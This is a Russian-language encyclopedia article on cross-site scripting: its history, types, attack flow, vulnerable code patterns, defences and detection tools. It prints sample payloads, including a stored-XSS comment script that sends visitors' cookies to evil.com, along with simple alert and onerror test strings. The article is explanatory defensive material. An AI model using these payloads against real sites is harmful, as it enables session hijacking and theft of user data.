Межсайтовый скриптинг
Межсайтовый скриптинг (англ. Cross-Site Scripting, XSS) — это тип уязвимости веб-приложений, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (обычно на языке JavaScript), который выполняется на компьютере пользователя при открытии этой страницы. Атака с использованием межсайтового скриптинга позволяет злоумышленнику обойти политику ограничения домена (Same-Origin Policy) и взаимодействовать с контекстом уязвимого сайта от имени аутентифицированного пользователя, что может привести к краже сессионных данных, подмене содержимого страниц, перенаправлению на фишинговые ресурсы или выполнению других вредоносных действий.
История
Термин «Cross-Site Scripting» был впервые введён в 2000 году в контексте уязвимостей в веб-браузере Microsoft Internet Explorer. Однако сама концепция внедрения скриптов в веб-страницы существовала и ранее, в частности, в форумах и гостевых книгах, где пользовательский ввод отображался без фильтрации. Первая крупная публичная демонстрация XSS-атаки была проведена в 2005 году, когда исследователь безопасности Сами Камкар (Samy Kamkar) создал «Samy worm» — самораспространяющийся XSS-червь для социальной сети MySpace. Червь за несколько часов заразил более миллиона профилей, что привлекло широкое внимание к проблеме.
С развитием веб-технологий (AJAX, Single Page Applications, Web 2.0) количество потенциальных точек внедрения XSS возросло. В 2010-х годах межсайтовый скриптинг стал одной из самых распространённых уязвимостей веб-приложений, регулярно занимая высокие позиции в рейтингах OWASP Top 10. Согласно отчётам OWASP, XSS оставался в тройке наиболее критичных уязвимостей на протяжении почти десятилетия, уступив лидерство лишь к середине 2020-х годов.
Классификация
Межсайтовый скриптинг традиционно делится на три основных типа, различающихся по механизму внедрения и способу доставки вредоносного кода.
Отражённый (Reflected XSS)
При отражённом XSS вредоносный код передаётся в запросе к серверу (например, в параметрах URL или теле POST-запроса) и немедленно отображается в ответе сервера без постоянного сохранения. Для успешной атаки злоумышленник обычно вынуждает жертву перейти по специально сформированной ссылке, содержащей вредоносный код. Пример: сайт поиска отображает введённый пользователем запрос на странице результатов без экранирования. Если в запросе содержится <script>alert('XSS')</script>, браузер выполнит этот скрипт.
Хранимый (Stored XSS)
Хранимый XSS (также известный как постоянный или персистентный) является наиболее опасным типом. Вредоносный код сохраняется на сервере (в базе данных, файле, логе) и отображается всем пользователям, посещающим заражённую страницу. Типичные места внедрения: комментарии, форумы, профили пользователей, поля ввода данных. Атака не требует дополнительных действий от жертвы, кроме обычного просмотра страницы. Пример: злоумышленник оставляет комментарий на форуме, содержащий <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>`. Каждый посетитель страницы с этим комментарием автоматически отправит свои cookie-файлы злоумышленнику.
DOM-based XSS
DOM-based XSS (основанный на объектной модели документа) отличается тем, что уязвимость возникает на стороне клиента, в коде JavaScript, который динамически обрабатывает данные из источника (source) и передаёт их в приёмник (sink), способный выполнить код. Сервер может не участвовать в атаке — вредоносный код встраивается в DOM-дерево через URL-фрагмент (hash), параметры URL или данные из localStorage. Пример: JavaScript-код на странице считывает window.location.hash и вставляет его в innerHTML элемента без проверки. Если в URL указан #<img src=x onerror=alert(1)>, браузер выполнит скрипт.
Механизм атаки
Вне зависимости от типа, XSS-атака следует общему сценарию:
- Обнаружение точки внедрения: злоумышленник находит поле ввода, параметр URL или другой источник данных, который передаётся в веб-страницу без должной санитизации (очистки).
- Формирование полезной нагрузки: создаётся строка, содержащая HTML-теги и JavaScript-код, который будет выполнен в браузере жертвы. Полезная нагрузка может быть замаскирована с помощью кодирования (Unicode, hex, base64) для обхода фильтров.
- Доставка полезной нагрузки: для отражённого XSS — через ссылку или перенаправление; для хранимого — через отправку данных на сервер; для DOM-based — через URL или другие клиентские источники.
- Выполнение кода: браузер жертвы получает HTML-страницу, содержащую вредоносный скрипт, и интерпретирует его как часть легитимного контента сайта.
- Реализация целей атаки: кража cookie-файлов, перехват сессионных токенов, подмена содержимого страницы, перенаправление на фишинговый сайт, установка кейлоггера, выполнение действий от имени пользователя (например, перевод денег, смена пароля).
Примеры уязвимых конструкций
Наиболее распространённые места, где возникают XSS-уязвимости:
- Вставка пользовательского ввода в HTML-контекст:
<div>+innerHTML+ непроверенные данные. - Вставка в атрибуты HTML-тегов:
<img src="+ данные +">— если данные содержат кавычки, можно выйти из атрибута. - Вставка в JavaScript-контекст:
eval("var x = " + данные)илиdocument.write(данные). - Вставка в URL:
location.href = "http://" + данные— данные могут содержатьjavascript:alert(1). - Вставка в CSS:
element.style.background = "url(" + данные + ")"— данные могут содержать выражение, выполняющее JavaScript в старых браузерах.
Защита от межсайтового скриптинга
Методы защиты делятся на превентивные (на этапе разработки) и реактивные (на этапе эксплуатации).
Экранирование (Escaping)
Преобразование специальных символов HTML в их безопасные эквиваленты (сущности). Например, символ < заменяется на <, > на >, " на ", & на &. Экранирование должно применяться в зависимости от контекста вывода (HTML-тело, атрибут, JavaScript, CSS, URL). Библиотеки шаблонизаторов (например, Twig, Jinja2, React JSX) автоматически экранируют вывод по умолчанию.
Санитизация (Sanitization)
Удаление или преобразование потенциально опасных элементов из пользовательского ввода. Используется, когда необходимо разрешить пользователю вводить HTML-разметку (например, в редакторах форматированного текста). Санитизация выполняется с помощью специализированных библиотек (например, DOMPurify, HTML Purifier), которые удаляют теги <script>, обработчики событий (onclick, onerror), опасные атрибуты (href="javascript:...") и фреймы.
Content Security Policy (CSP)
Политика безопасности контента — механизм HTTP-заголовков, позволяющий веб-сайту указать браузеру, какие источники скриптов, стилей и других ресурсов разрешены. CSP может полностью блокировать выполнение инлайновых скриптов (скриптов, встроенных в HTML) и ограничить загрузку внешних скриптов только доверенными доменами. Пример заголовка: Content-Security-Policy: script-src 'self' https://trusted.cdn.com`. CSP является эффективной защитой от большинства XSS-атак, но не отменяет необходимость экранирования и санитизации.
HttpOnly-флаг для cookie-файлов
Установка флага HttpOnly для сессионных cookie-файлов запрещает доступ к ним из JavaScript-кода (через document.cookie). Это предотвращает кражу cookie-файлов даже при успешной XSS-атаке, однако не защищает от других типов атак (например, подмена содержимого страницы или перехват данных через AJAX).
Валидация ввода
Проверка пользовательского ввода на соответствие ожидаемому формату (например, email, число, URL). Валидация должна выполняться как на стороне клиента (для удобства пользователя), так и на стороне сервера (для безопасности). Однако валидация не является достаточной мерой защиты, так как злоумышленник может обойти клиентскую проверку.
Инструменты для обнаружения
Для поиска XSS-уязвимостей используются как автоматизированные сканеры, так и ручные методы тестирования:
- Сканеры безопасности: OWASP ZAP, Burp Suite (с плагином Intruder), Acunetix, Netsparker. Они автоматически перебирают параметры и проверяют реакцию сервера.
- Фреймворки для тестирования: XSStrike, BeEF (Browser Exploitation Framework) — для продвинутого тестирования и эксплуатации.
- Браузерные инструменты: консоль разработчика, расширения для анализа DOM (например, DOM Invader в Burp Suite).
- Ручное тестирование: ввод специально сформированных строк (пейлоадов) в поля ввода и анализ ответа сервера. Примеры простых пейлоадов:
<script>alert(1)</script>,"><script>alert(1)</script>,javascript:alert(1).
Интересные факты
- Самый массовый XSS-червь: червь Сами Камкара (2005) на MySpace заразил более 1 миллиона профилей за 20 часов. Он использовал уязвимость в фильтре тегов, который не блокировал атрибут
onmouseoverи CSS-свойства. - XSS в Twitter (2010): уязвимость в функции «твитнуть» позволяла вставлять скрипты в твиты, которые автоматически выполнялись при просмотре. Пользователи массово публиковали твиты с
onmouseoverиonclick, что приводило к всплывающим окнам. - XSS в Google (2013): исследователь безопасности обнаружил уязвимость в Google Image Search, позволявшую вставить скрипт через URL-параметр. Google выплатил вознаграждение в рамках программы bug bounty.
- XSS в eBay (2014): уязвимость в описании товаров позволяла злоумышленникам вставлять JavaScript-код, который перенаправлял покупателей на фишинговые страницы.
- DOM-based XSS в jQuery (2020): в популярной библиотеке jQuery была обнаружена уязвимость в методе
$.htmlPrefilter(), которая позволяла выполнять XSS-атаки через специально сформированные HTML-строки. Уязвимость была исправлена в версии 3.5.0.
Источники
- OWASP Foundation. «Cross-Site Scripting (XSS)». OWASP Top 10 — 2021.
- Stuttard, D., Pinto, M. «The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws». 2nd Edition, Wiley, 2011.
- Zalewski, M. «The Tangled Web: A Guide to Securing Modern Web Applications». No Starch Press, 2011.
- Kamkar, S. «The Samy Worm». 2005. Личный блог.
- Mozilla Developer Network. «Content Security Policy (CSP)». MDN Web Docs.
- PortSwigger Research. «DOM-based XSS». Burp Suite Documentation.
BFOmetr — база данных и аналитика по компаниям России.
На главную BFOmetr →